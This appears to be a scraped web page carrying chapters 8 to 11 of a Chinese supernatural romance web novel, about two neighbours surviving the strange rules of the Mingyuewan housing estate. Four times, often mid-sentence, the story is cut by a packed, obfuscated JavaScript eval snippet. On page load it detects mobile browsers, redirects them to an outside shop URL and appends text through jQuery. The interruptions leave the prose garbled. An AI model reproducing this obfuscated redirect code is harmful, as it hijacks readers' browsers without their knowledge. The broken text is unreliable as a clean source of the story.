;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538633|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客户的反馈意见发过来了,宁琤仔细看过,开了电脑开始修改设计稿。 越改越是难受,仿佛有只无形的手探入他的腹腔,把胃抓住揉搓。 随着时间推移,对食物的渴望愈发汹涌。奈何外卖员迟迟不来。直到将近一点,宁琤终于接到一个电话。 “你好,我是‘吃了么’的配送员。”对方说,“我搭电梯的时候,发现里面没有五楼的按键,所以想着先到六楼再下去,但是——滋啦滋啦……” 对面的电流声越来越大,听得宁琤也一阵紧张。奈何是“喂”了好几声,他都没有得到任何回应。 又几秒后,电话竟然被直接挂断了。 拿着手机,宁琤陷入思索。 好消息,自己没有吃坏东西闹肚子。 坏消息,外卖员十有八九是跑错了地方,自己今天中午怕是彻底没饭吃了。 ……这怎么行! 宁琤饿从胆边起,照着方才打过来的电话重新拨了过去。 出乎意料,这次对面倒是很快接通了,只是没人说话。 大约是外卖员自己也发现自己走错了路,耽误客户吃饭时间,于是不敢开口的缘故吧。 宁琤甩了甩脑袋,皱着眉头开口:“我们小区有个规定,住户要按时吃一日三餐。” “滋啦滋啦——” 忽略干扰音,宁琤沉下嗓子继续道:“如果吃不了的话,饿了的住户影响到别人,就很有可能会被‘清退’。” “滋啦滋啦滋啦……” 宁琤图穷匕见:“如果我把今天发生的事情发到群里,你说,我们小区的人会不会以后再也不在‘吃了么’平台上点外卖?” 对面沉默。 “请等一下。”终于,一个沙哑的、明显是心虚了的声音回答,“我马上就去明月湾,把您的外卖拿过去。” 这不就对了。宁琤勉强满意,道:“好,尽快。十分钟内送来,我就忘掉这事儿。” 受到“威胁”,对面儿的效率果然提高不少。 都没用到十分钟,宁琤已经听到敲门声,“您好,‘吃了么’——呃,这是您的午餐!” 对方说到一半儿,屋门已经被从内打开。 入眼的是一个身材瘦削、低着头的老人。看着对方,宁琤才明白过来,为什么自己打电话过去时总觉得对面的人气血不足。 再看看对方脏兮兮的、蹭了一堆墙灰和油漆印子的衣服,他难得有点心虚,轻轻咳了声才道:“合着你这送外卖还只是个兼职啊?”见对方点头了,“好了,既然东西送到,我就不会在群里……哎,怎么这就走了?” 不等宁琤说完,老人已经扭身下了楼梯。 刹那间,宁琤眉尖再度压了下去。 方才正相对那会儿,他只是觉得对方瘦,兴许是儿女不孝顺、没得到什么善待的缘故吧。而到了对方转身的一刻,他又忽地发现,对方的肩膀之薄,竟像是一片纸页般,整个人都没什么分量,仿佛风一吹就能上天。 等到对方身影消失,宁琤才发觉自己喉咙已经一片干涩。 他缓缓低头,去瞧手中的外卖袋。 这东西……究竟能不能吃? 8. 第三夜(1) “笃笃笃!笃笃笃!” 眼看就要到学校的放学时间。闻淙早早收拾妥当、只等下班。 偏偏这会儿,一阵急促的敲门声响了起来,还伴随呼喊:“闻老师!闻老师,你还在吗?” 闻淙还没来得及皱眉头,办公室门已经被推开了。站在外头的也是一个青年男性,和闻淙同时来光明小学入职,负责的课程是数学。 闻淙记得对方姓姚,名叫姚谦。 “姚老师,”他还算客气地问,“有什么事吗?” “黄老师不见了!”姚谦焦急道,“我原本和他说好,放了学就一起去食堂吃饭。可刚才我去二班外面等他,却发现他根本没在里头!” 在他说话的时候,闻淙的目光快速从贴在自己桌旁的课表上闪过。 五年级二班的最后一节课是黄文墨老师教导的英语,姚谦这几天也的确经常和他一起行动,此刻应该没有说谎。 不过——闻淙心头快速盘算一遍《光明小学学生守则》中的内容,问:“那五二班这节课是怎么过的?” 姚谦还是满脸焦灼,勉强回答:“是他们班主任在上语文课!我、我发现这点的时候就直接来找你了,闻老师,咱们一批来报道的人里,只有你和学校领导的交流最多。你能不能帮忙问问,看他是请假了,还是怎么了?” 按照《光明小学教师守则》的规定,老师想要请假,必须事先报给政教主任,得到对方批复之后才可以不按照课表安排行动。 而如果违反这条要求,别的不说,保住工作是悬了。 闻淙知道姚谦正是在担心这点。他沉默片刻,目光再度落在课表上。 墙壁上的钟表指针“咔哒咔哒”地走着,办公室里其他年级的美术老师看时间差不多了,便站起身,笑着和闻淙道别:“小闻老师,那我先走了,明天见。” 闻淙“嗯”了声,目光还停留在姚谦身上。他想了想,说:“你先别着急,万一黄老师是和二班班主任换了课呢?政教主任那边本来不知道,也就没事儿,万一咱们把事情捅出去了,这才叫麻烦。” 姚谦抽了一口气,喃喃说:“也是……那闻老师,你说怎么办?” 大约是闻淙在入职第一天就和新同事们借了一圈儿钱,多多少少和所有人都打过交道的缘故,他虽然不在学校住,和众人的关系却都还不错。 此时此刻,面对姚谦的问题,他思索片刻,又道:“这样,你把咱们这波人里最后一节没课的人都召集起来,在学校到处找找,也给他打电话试试,看能不能找到、联系上。 “我呢,还是去找政教主任试试。不是直接问,就是试探一下。 “咱们也保持联系。要是你们那儿能找到人,自然最好。要是实在找不到……” 姚谦听到这里,抿了抿嘴巴,低声道:“那就恐怕只能和主任实话实说了。” 闻淙听着这话,轻轻点头。 有了这个插曲,他早点回小区的计划注定要又一次落空。 这还不是最糟糕的。让闻淙心烦的是,等到众人终于有了黄文墨去处的线索,外间已经起了雾。 姚谦也注意到这点。他犹豫地看着闻淙,面上透着惊惧过度的白青色,小声问:“闻、闻老师,外面既然起了雾,那你……” 闻淙思索了会儿,说:“主任不是也还没回家吗?” 在姚谦等人复杂的目光当中,他走到到底听了自己的“实话实说”、于是来和他们一起找人的政教主任面前,轻声说了几句什么。 政教主任瞥了他一眼,到底点了点头:“行吧,外面的天气的确不太好,指不定就要下雨了……反正我也顺路,就送你回去。” 闻淙笑着和他道了谢。 “总之,事情就是这样。” 半个小时后,坐在宁琤家里,闻淙一本正经地解释了自己“迟归”的原因。 宁琤尝试告诉他:“其实你不用和我说这么多。咱们是邻居嘛,平时互帮互助是应该的,但……”真不用就这种事和自己“报备”啊! 闻淙听着这话,笑了一下,“可哥,你做饭的时候特地多做了我的分量,不就是在特地等我回来一起吃吗?” 宁琤绝对不同意这话:“我只是煮汤的时候加水加多了。” 闻淙说:“嗯,这鸡汤好香,我还能再喝一碗吗?” 宁琤:“……” 他面无表情地看闻淙,眼里写满“不是吧不是吧,你还真就这么自觉吗”。 闻淙还在朝他笑,笑容也依然是前天他第一次敲门时一样的阳光灿烂。 只是毕竟经过了几天工作的捶打,灿烂当中还是增添了几分疲惫。 宁琤忍不住叹气。 他觉得自己就是心太软,这才给了对方反复得寸进尺的机会。 这当然是不对的。可也不能怪他,放眼整个小区,恐怕再没有第二个人会像闻淙一样,每天到了点就跑到别家蹭饭。 等等,真的没有吗? 宁琤短暂地思索起来,嘴巴里还在反驳:“你们这一代小孩,真是一点生活常识都没有,这怎么就是鸡汤了?” 闻淙还真开始反思:“不是吗?呃,哥,我是真不太认识各种食材。之前有人让我去买菜心,结果我买了一把空心菜回去。” 宁琤挑眉:“你还很骄傲?” “没有。”闻淙笑着把手里的一次性碗递给宁琤,“所以哥,到底行不行?” 宁琤说:“不行,你应该走了。” 闻淙眨眼,表情快速从开心灿烂切换到无辜委屈。 宁琤深呼吸,“你……” “哥,”闻淙轻轻开口,“我就是觉得,在你这里吃饭有种在家的感觉。 “我父母很早就不在了,虽然也有其他长辈照顾我吧,可小时候的我总觉得自己是寄人篱下。与其在别人家里看那些哥哥姐姐的脸色,还不如像现在这样,简简单单地在邻居家蹭一顿饭。至少这样,算是和我爸妈还在那会儿差不多。他们本来也忙,就和邻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538634|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居家说好了,让我去找那家的叔叔阿姨蹭吃蹭喝,他们每个月结一次伙食费。 “大不了,”他又说,“我也给你结伙食费,你就当干了一份副业。” 宁琤又有点想深呼吸了。 “你才多大啊,”他恹恹地说,“大学刚毕业,二十一?二十二?怎么说起话来总这么消极呢。” 闻淙笑了,“有吗?那哥,我开心点。” 宁琤“唉”了声,“你——算了算了。”他撇了撇嘴,“我是看你刚刚来这边上班,连农贸市场在哪儿都不知道,这才让你来吃两顿。不过也就只有这几天,伙食费我是不要的,只要你以后别再来就行。” 闻淙:“……哥,一点通融的余地都没有?” 宁琤冷酷无情:“没有。” 闻淙也叹气,同时又把空了的碗递过来,“那我能不能再喝一碗?” 宁琤:“可以。” 还是宁琤:“喝完就走。” 依然是宁琤:“嗯……你这一身脏兮兮的,晚上总得洗洗。”这是实话,大约还是外头浓雾的缘故,闻淙刚进门的时候简直像是刚被从水里拎出来,浑身都是湿漉漉的,发梢甚至在往下滴水。也就是进门坐了会儿,被暖气烘着,这才有了点人样。 有了前面的经历,加上新闻报道里的专家言论打底,宁琤已经能熟练地忽略掉在这期间闻淙越来越小、从占了半个客厅到只剩下他身下那小小一片的影子。他还是心烦,尽量让自己从“远亲不如近邻”的小区指南要求出发,和闻淙提出:“你回来的时候太不巧了,已经过了晚上放水的时间,而且今天……” 早晨自己放水的时候,还放出了【红锈】。 虽然自家水池里的【红锈】已经被清理干净,可很难说作为邻居的闻淙家是什么情况。要是平常,宁琤或许会劝他忍一忍,今晚就不要用水了。可刚刚从大雾里出来,最好还是洗个澡。 他尽量让自己忽略掉闻淙越来越明亮的眼睛,把前面的话修改成:“洗完澡就回去。” 闻淙开开心心地答应了:“好啊哥!对了哥,我待会儿能不能穿你的衣服?咳,我没有别的意思,就是我的衣服待会儿肯定也要洗一下啊!” 宁琤“呵”了声,说:“你家里没有烘干机吗?” 闻淙眨巴眼睛:“没有。” 宁琤:“哦,我家有,待会儿借你用。” 这话说出来,他眼睁睁看着闻淙脑袋上那双不存在的耳朵耷拉下去。 “好的哥。”虽然失望,可闻淙还是表现得十分乖巧,“谢谢哥——对了,早上上班的时间太早,刚才又一直在说别的,我都忘记问。” 他也看出宁琤不想还和自己在老话题上纠缠下去了,于是另辟蹊径,开启闲谈的新篇章。 “昨天晚上,”闻淙道,“那个……” 话没有说完,青年已经缓缓放轻声音,直到彻底停下。 他面前,宁琤比了一个“噤声”的手势,微笑道:“你什么也没听到。” 9. 第三夜(2) 闻淙:“……” 闻淙努力地找起了第三个话题。这一次,是说宁琤的工作。 “哥,你是什么时候开始居家办公的?会保持这个状态到什么时候啊?虽然我每天上班下班已经很近了,但还是觉得你这样子特方便,哈哈。” 客观来讲,这也算是宁琤的隐私。但看着眼巴巴想与自己多说几句话的邻居,宁琤还是和他介绍起来:“也有段时间吧。保持到什么时候就不一定了,得看公司安排。” “那哥,”闻淙继续问,“你们公司大概是个什么规模啊?平时同事好相处吗?——我们这一批不是进来八个人吗,这才几天,就分出好几个小团体了。再加上那些老教师,还有领导层……美术教学本身挺轻松的,可我还是觉得累得慌。” 他一脸可怜地抱怨,宁琤看在眼里,难得心情好了一回:“那怎么办?趁着这才刚来没几天,辞职没烦恼,换个环境简单点的工作。” 闻淙哼哼唧唧,不表态。 宁琤倒是多了句话,道:“你也不是本地人,本来也没必要在榴花市找工作吧?这儿的生活成本也不低。” “咳咳,哥,你这是又点我蹭饭的事儿呢?不都说了,我也可以给你结伙食费。”闻淙道。接着,不等宁琤有所反应,他再次强行岔开话题,“对了,你之前还去公司上班的时候通勤是怎么办?是有车还是?” 宁琤:“……坐公交。” 闻淙若有所思:“公交?前面在学校图书馆找东西的时候,我翻到一本老地图,上面标着几条地铁线路,看起来四通八达的,怪方便。” “是啊,可惜明月湾附近没有地铁站,”宁琤笑了一下,“好了,你还是早点喝完、快去洗澡。我待会儿顺道去楼下把垃圾一扔,否则过了十点就成了麻烦事儿。” 闻淙一愣:“垃圾?”他透出紧张,“可是已经起雾了啊!要不然还是明天?” “没事。”宁琤说,“要是明天起雾时间更早了怎么办?活儿总得干。再说,我看群里他们都在讲,现在就是路难认了点儿,不是大事儿。” 闻淙看起来还是忧心忡忡,甚至提出来自己代宁琤去。宁琤拒绝了他,“你要是实在闲着,就去把碗洗了。” 闻淙瘪瘪嘴,老实照做。 他忙活的时候,宁琤一个人下了楼。走时顺手从门口的柜子里取出一把伞,看闻淙露出疑问,他解释:“这也是从物管会买的。” 闻淙恍然:“这样啊。”看看伞,再看看宁琤,他放心不少。“哥,我搁家里等你回来。” 宁琤嘴角抽动一下:“家里?” 闻淙:“你家,你家。” 宁琤没说话,只是瞥他一眼,眸中写满“你最好说到做到”。 到了楼下,除了脚下一段路,其他地方都被浓雾笼罩。 宁琤撑开伞,拎着垃圾袋,缓缓走在当中。 周遭是极致的寂静,仿佛除去他以外附近再也没有第二个人。就连从前总是吵吵闹闹、直往人耳朵里钻的鸟鸣声也没了影子,仿佛从来没有来过。 在这样安静的环境中,宁琤没再走错路,顺利地到达垃圾站。 这时候,他终于遇见自己下楼以来见到的第一个人,是穿着黄色马甲的清洁工。 对方坐在垃圾站角落里,正在收拾手边的什么东西。宁琤看过一眼,便挪开视线,将手中的袋子扔进桶里。 鼓鼓囊囊的塑料袋落在桶底,没有系牢固的绑口散开,露出里面满满当当、细细碎碎的骨头和羽毛。 宁琤不曾多看。他保持着撑伞的姿势,沿原路返回单元楼。原先打算直接收伞的,可在动作之前,他忽地想到了什么,从口袋里拿出自己的门禁卡。 他的基本信息不曾出现什么变化,然而“家庭住址”那一栏,不知何时已经成了:明月湾小区5号楼1单元5层501。 宁琤的眉尖狠狠跳动了下,喃喃道:“果然。” 他刚才就觉得,今天的垃圾站实在太“干净”了,和自己曾和闻淙说过的,“群里也有很多人已经下去过,并没有出事”的情况并不相符。 再看门禁卡上的变化,答案显而易见:在雾天下楼的人,恐怕很多都失去了回家的机会。 明月湾小区不曾写在“生活指南”上,却切实存在的“规则”:被小区原生“规则”吞噬的人,会让小区扩大;被外来“规则”吞噬的人,会让小区缩小。 宁琤闭了闭眼睛,再睁开时转过身,走向五号楼的方向。 在外待了太久,距离单元门还有数十米的时候,他的伞开始融化。 透明的伞面初时只是变得模糊,像是有什么东西在上面剐蹭过、留下印子。接下来,这些印子越来越多,所占面积也越来越大。终于,出现了第一个破洞。 雾气从洞口涌了进来,透出一股欢呼雀跃。 宁琤感受到发间冰凉,烦躁地甩了甩脑袋。几滴“水”因这个动作自他的发丝滑了下来,落在旁边的地面上。 下一个呼吸的工夫,他一只脚踩进单元楼内。 虽然心情不太好,人却是无碍的。随手扒拉一下头发,又将伞收起来、用比刚刚甩头发大出很多的力道开始甩伞。更多“水滴”因这个动作落在了他身边的墙上、地面上。很快,它们接触到的地方开始变得柔软,空气里也漂起难言的酸臭味。 宁琤并未留意这些,他已经在上楼了。 一路上,他都拿着门禁卡、时刻查看上面的文字内容。等到重新站在501门口,确保地址那栏没发生新的变化后,他终于松一口气。 “嗯……明早得再确认一遍,还得把这事儿给闻淙说声。” 虽然突兀缠上来的邻居很烦,宁琤无比希望对方尽快消失在自己眼前,可他并不想让对方出事。 啊,稍等一下。 刚打开门,宁琤就对上一张朝自己凑来、挂着十足关切神情的脸。 目光往下一扫,还能看到这张脸的主人颇为有料,胸肌、腹肌分明的身材。 宁琤压在门把上的手骤然用力,关节有些发白:“不好有意思,走错了。” 他说着,就要把屋门关上,大有“我再开一下旁边的门,看看那边是不是我家”的架势。 闻淙见状急了,立刻来拉宁琤手腕:“哥!你别走啊。” 宁琤被他拉进门,后腰抵着门边的柜子,听着耳边“咔嚓”的门锁声响。 他头脑还是有点发白,莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538635|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名想到:“还好这小子腰上浴巾围得还算结实。”动作那么大,硬是没掉下来。 “我这不是……唉,我刚刚洗澡出来,一看时间,你已经下楼好久了,结果一直没过来!我想去找你,可又想到你下楼之前的态度。再有,我也不知道屋子里还有没有第二把物管会的伞。万一真到了楼下,万一没有帮到你,反倒给你添麻烦……” 闻淙说话的时候,一只手撑在宁琤背后的柜子上,一只手还拉着门,像是生怕宁琤不听自己解释、就这么走了。 “可还是担心你。想从窗口往下看吧,雾太大了,什么都看不清。只好隔一会儿就到门口站站,万一你回来了,我第一时间就能听到。” 宁琤没有说话。他鼻腔里全是闻淙刚刚用过的、属于自己的沐浴露的味道,而这绝不是此刻给他带来最鲜明感受的东西。明明已经到了天凉的时候,对方甚至没有穿上衣,可身体还是跟一个小火炉似的,源源不断地朝外面冒着热气。 两人都没有直接接触,他却已经能感受到闻淙的体温了。 “哥。”闻淙轻轻叫他,“我真的——真的好怕你不回来了。” 宁琤喉结滚动,终于说:“怎么可能,这可是我家。” 得到了还算温和的回应,闻淙眉眼里立刻带出笑意,低声说:“我知道。” 他还是没有起来的意思,“这是你家,你纯粹是收留我。”一顿,“哥,你看,我都在你这儿洗澡了。刚才只顾着等你,都没有顾得上烘干衣服。时间已经这么晚,要不然……” 宁琤:“你明早过来取衣服?” 闻淙一愣。 和前头总露出的委屈无辜不同,他这会儿的表情竟显得哭笑不得。 “真不能商量一下啊?” “不能。” “那我……” “明早过来,”宁琤重复,“有话给你说。” 他接连说了两次这件事。闻淙听着,神色一点点转向郑重。 他还是不明白宁琤想做什么,却能认真地点点头,道:“行,我几点过来比较方便?” 宁琤想了想自己平常的起床时间,再想想以后估计再也不会在早晨唤醒自己的广场舞阿姨们,勉强道:“七点十分以后吧。”他差不多能洗漱完,“顺道把早饭也吃了。” 闻淙眼前一亮,明显觉得自己赚了,看得宁琤好气又好笑。 “能起来了吧?”他问对方。青年仿佛这才意识到两人此刻的姿势有多古怪,连忙往后退去。 宁琤看着他的样子就十分手痒,干脆摆摆手,打算眼不见心不烦:“行了,快走,你不睡我还睡呢。” 闻淙老实点头,和人告别:“好的哥,我明早——” 又来了。 说到一半儿,青年的话音停了下来。听尾音,甚至有那么几分颤抖。 宁琤在心里喊着“完了完了”,还是走到这一步。紧接着,他便听闻淙问自己:“你的头发,为什么……白了好多?” 宁琤:“看到外面的雾了吗?” 闻淙抖得更加厉害。 宁琤语气干巴巴,没有一点起伏:“雾是白的,我的头发也有几根是白的。明白了吧?就是被染色了。” 10.第四天(1) 有耳朵的人都听得出这是宁琤在敷衍,闻淙自然也不是那个例外。 他明显还想再说什么,可惜宁琤没给他这个机会。 前面闻淙拉他进门的动作是多么迅速,他这会儿把人“扫地出门”的效率就有多高。听着502屋门关上的声响,宁琤满意地拍了拍手,回到自家。 只是等前头的情绪过去后,再摸摸头发,早前的烦躁又隐隐冒头。 明月湾内,或说整个榴花市范围内,都没有能被称为“镜子”的事物存在。 不仅如此。根据早年出台的建筑规定,就连能够倒映出人影的玻璃,也不被允许出现在建筑外观上。 宁琤就是干这行的,最熟悉各种相关制度。而此刻说这些,则是为了表明:他是真没想到,自己被“雾”吃了头发的样子,被闻淙看到了。 早知如此,他宁愿让垃圾堆在厨房里过夜,也不主动招惹这桩麻烦。 算了,根本没法提早知道。 生活不易,宁琤叹气。 这时候,他又记起自己叫了闻淙明天来吃早饭的事儿。 想到这里,宁琤先去瞧了瞧冰箱。虽然晚上熬了一锅汤了,此时里头依然是满满当当。 看着分门别类、垒得整整齐齐的各类食材,他摸了摸下巴,勉为其难地把“干脆明天让闻淙自己干活儿”的选项划掉。 “搞点儿简单的。”他嘀咕,“越快解决越好,让他赶紧走人。” 既然这样,那就只能自己晚上操劳点了。 宁琤又叹了一口气,随后拿起了厨刀。 一个半小时后,看着托盘里一列一列的小馄饨,他唇角轻松地勾起。 很快又压了下去,怀着几分忐忑去看业主群。好险,并没有楼下人对自己剁馅儿声响太大的投诉。 “这下齐活儿了……唔,睡觉。” 照旧是一夜无梦、被闹铃吵醒的一天。 兴许是换了单元楼的缘故,【红锈】没再来找宁琤的麻烦。他顺顺当当地洗漱结束,看看时间,刚过7:10。 并没有敲门的声响传来,可宁琤看向房门的时候,心头忽地动了动。 他一面觉得不至于,一面轻手轻脚地走了过去,依然是先从猫眼往外看。 近乎是下一秒,门被打开了。 宁琤眉尖压着,表情是十足的不快,问外间裹着床单、正一边踱步一边看手机的青年:“你——出来多久了?” 闻淙明显是被他这突如其来的动静弄懵,只是很快又回神,惊喜地叫:“哥!你真的没事儿?” 宁琤:“……” 他试图从闻淙的眼睛里观察出自己头发的状况,可惜失败了。 “能有什么事儿?”宁琤说,“行了,快进来。” 把人拉进屋子,他才来得及问:“你在外头待了多久?” 闻淙笑了笑,像是并不觉得自己方才的行为有什么,“也没多长时间。哥你不是让我七点多来吗,我就掐着时间出门。”又低头看看自己身上的床单,咳了声,“这不是害怕碰到路上的人、被他们投诉说有伤风化嘛,所以多穿了点。” 宁琤没说话。 他并不相信闻淙的答案,于是直接伸手去摸对方的脸。 闻淙明显意外于宁琤的动作,身体本能地向后缩去。可大约真的是在外面太久、有些冻僵的缘故,他到底没有逃开宁琤的触碰。而在双方真正接触的那一瞬,宁琤的神色霎时更加沉下许多—— 他近乎被闻淙面颊的温度冰到了。 说谎。他在心里评判闻淙的行为。偏偏在这宁琤愈发不快的时候,闻淙又侧过面孔,若有若无地在他手上摩挲了一下。 原先被冰到的掌心霎时成了发烫。宁琤猛地抽回手,想要斥责对方,又对上闻淙的目光。 他被对方的眼神看得愣了愣,这才意识到自己至少应该后退。 “冰箱冷冻层有馄饨。”终于开口的时候,宁琤的嗓音里又多了沙哑,“你去煮了。” 闻淙一愣,看了宁琤半天,才小声道:“可是哥,我不会煮……会煮烂的。” 宁琤笑了,“这和我没关系吧?”一顿,“你煮你那份就好。” 闻淙瘪瘪嘴,很明显是不乐意了。可他刚刚惹了宁琤不开心,便也不敢再说什么,只能委委屈屈地进了厨房。 宁琤站在原地,看着青年的背影。过了好一会儿,才意识到:“他怎么还披着床单?” 思考一下。 对了,是自己没给闻淙换衣服的时间。 一点心虚倏忽涌了上来。宁琤在客人看不见的角度摸了摸鼻子,去帮对方拿昨晚烘干好的衣服。 前头闻淙果然不是谦虚。他端到餐桌上的馄饨,有一多半儿都是皮肉分离状态。 饶是如此,他吃得依然很香。搞得隔了段时间才上桌、吃着自己那份馄饨的宁城颇为纳闷,想问对方在享受什么,又觉得这不太符合自己脾气不好、总琢磨着把人赶走的人设。 一时之间,屋里只有勺子搅动汤水的细微声响。 与三口两口就解决一顿饭的宁琤不同,闻淙吃得速度很慢。明明是先开始的一个,可等宁琤放下餐具了,他还在小口小口地抿汤。 宁琤原先只是等待。到后面了,不得不提醒对方:“闻老师,你要迟到了。” 闻淙又拿委屈的目光看他,这一次,宁琤却没有如对方的意,叫那个曾经被对方认证过的肉麻称呼。 加上就像宁琤说的,眼下的确快到学校那边查岗的时间了,闻淙到底放快速度,很快将最后的一点汤喝干净。 看着他抱着碗吨吨吨的动作,宁琤眼里露出了一点微不可查的笑意,又在闻淙放下碗后收敛神色,下巴朝着一旁的沙发上抬了抬,道:“你的衣服放在那边了。换好以后就走吧。” 闻淙大约是想了颇久,人都走到沙发边了,还是又转过头来看宁琤,说:“哥,你这几天好像一直在让我快走。” 宁琤:“……?” 是这样吗? “难道不应该吗?”他疑惑地问,“我和你非亲非故,却能收留你做这么多事,甚至给你做了早饭……” 等等,这句话不应该说。 在闻淙的表情恢复灿烂之前,宁琤镇定自若地忽略掉自己前面的话,继续道:“我已经对你很宽容了,闻老师。” 闻淙小声嘀咕了句什么。宁琤能猜到,自己没听清的内容无非又是什么“哥竟然又这么叫我”。他熟练地将其忽略掉,继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14559322|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“总之,我这边是仁至义尽。你的话,希望你好自为之。” 闻淙不说话了。他背过身,像是也打算假装听不到宁琤前面讲了什么,开始认认真真地换衣服。 浴巾滑了下来,露出两双修长的腿。 与上身一样,这位“大学刚毕业”的青年腿上也有漂亮流畅的肌肉线条。哪怕只是一个背影,站在眼前,都像是雕塑一样。 宁琤觉得自己的太阳穴又在跳了,“闻老师——”嘶,算了。他自己背过身,想了想,干脆开始收拾碗筷。 等到将所有东西都拢入水池,闻淙也已经穿戴妥帖。他倒是十分自觉,虽然经历了宁琤的连番打击,却还是凑了上来,主动说:“哥,我帮你洗碗!” 宁琤拒绝他:“你才上了几天班,这就想惹麻烦了?” 闻淙抽了口气,承认:“那倒没有。” 话是这么说,可人还在宁琤周围游荡。他还有个绝好的借口,是:“哥,你昨晚说有话要和我讲,是什么是什么?” 宁琤瞥他一眼,顺口说:“记住你家的位置,前两天不就差点走错了一次?” 就是这样吗?闻淙脸上出现一丝意外,但还是很快回答:“那当然,我绝对记得清清楚楚!” 宁琤听着,却摇了摇头。 他根据生活指南中的要求,认认真真地用专门的厨房纸擦了手、将纸团扔进垃圾袋,这才领着闻淙来到家门口。 在这儿,他从昨夜自己穿出去的那身衣服的口袋里掏出门禁卡,看着上面的内容,低低地“啧”了一声。 “那你说说,”宁琤语气平平地问,“你家住在哪里?” 闻淙回答:“嗯……咱们小区里的七号楼——” “错了。”宁琤说。 闻淙哑然。他面前,宁城抬起头。从始至终,门禁卡带有信息的那一面都只朝着他自己的方向。 “四号楼。”他说,“这栋楼也只有一个单元。你住在401,我住在402。” 闻淙瞳仁蓦然收缩。 宁琤注视着闻淙,轻轻说:“其实我还是觉得,你住在学校里就可以了。就算你今天没有‘迷路’,只是像昨天一样,还没有到你能离开的时间,外面又起了雾……” 闻淙沉默了会儿,看起来像是难过。 是因为自己又拒绝了他一回吗?宁琤心想。可不等他再有什么反应,对方又开口了。 “哥,最开始的时候我出来住,的确只是不想待在宿舍、和其他同事一起。可现在,我出来……班上的事儿,要不是你领我去见了那个女孩儿,我恐怕到现在都不明白到底发生了什么、学生之间都是怎么回事呢。 “所以哥,你看,我到明月湾是确实对工作有帮助的。你别劝我了,我晚上肯定还要过来。 “那就这样吧,我先走了。 “再见。” 这句话后,青年深吸了一口气,转身离开。 宁琤的视线中又只剩下对方的背影。只是这一回,在到了门口的时候,闻淙又转过身来。 他还是在笑,笑容灿烂,和宁琤讲:“哥!!!我晚上再来蹭饭,你等我!” 宁琤眼皮跳了跳,喃喃自语:“吃吃吃,一天到晚怎么就知道吃!” 11.第四天(2) 闻淙走的时候,顺便带走了屋子里的所有喧嚣。 宁琤在原地站了片刻,这才缓缓迈开步子,回到水池前洗碗。 换了单元楼后,从厨房窗子往外看时见到的景色也开始不同了。他眼里没了小广场,反倒是明月湾的大门出现在眼前。 清晨雾气尽散,宁琤能清楚地看到闻淙急匆匆朝着马路另一边奔去的身影。大多时候他是看不见青年面孔的,却有零星几个瞬间,对方紧压的眉眼被捕捉到。 他并没有表现给宁琤的那么轻松。尤其是进了校门之后,立刻有一圈人围了上来,着急地和闻淙说起什么。 “哗啦啦——” 宁琤闭上略有酸涩的眼睛,低下头,认真地洗起碗来。 等到一切收拾结束,时间已经来到八点。 这会儿其实并非上班时间,可怀揣着某种隐约的、自己今日怕是要多找些事情来分散精力的担忧,宁琤还是打开电脑,对着前面提交的设计稿修改起来。 到了九点,组长正式给他发了甲方新的修改意见。宁琤看过,回复:“今天下午能改好。” 组长给他回了握手和鲜花的表情,宁琤歪了歪脑袋,想起每次和对方真正双手交握时冰凉粘腻的感觉,有些嫌弃,但还是回复了同样的emoji。 这也是经验之谈。消息发出去后,组长果然没再给什么新的回复。宁琤短促地笑了一下,再次认真投入工作。 起先还算顺利,可没过多久,他的思路就被一阵嘀嗒嘀嗒的动静打断了。 皱着眉头一瞧,原来是手机上的聊天软件在响。再细看,到处都十分热闹。 同事群里有人发言,说大家都居家办公这么久了,不如组织一场外出活动、让大伙儿交流一下感情。业主群也有人拍了公告栏上的物业通知,说这周末在小广场放映的电影似乎不错,询问有没有邻居愿意加入观影活动。 宁琤只觉得吵闹。 偏偏自己的手机没有静音功能。想放远些也不行。按照购买时附带的说明书要求,如果在响铃后一分钟内无法接通电话,机子就要直接报废。 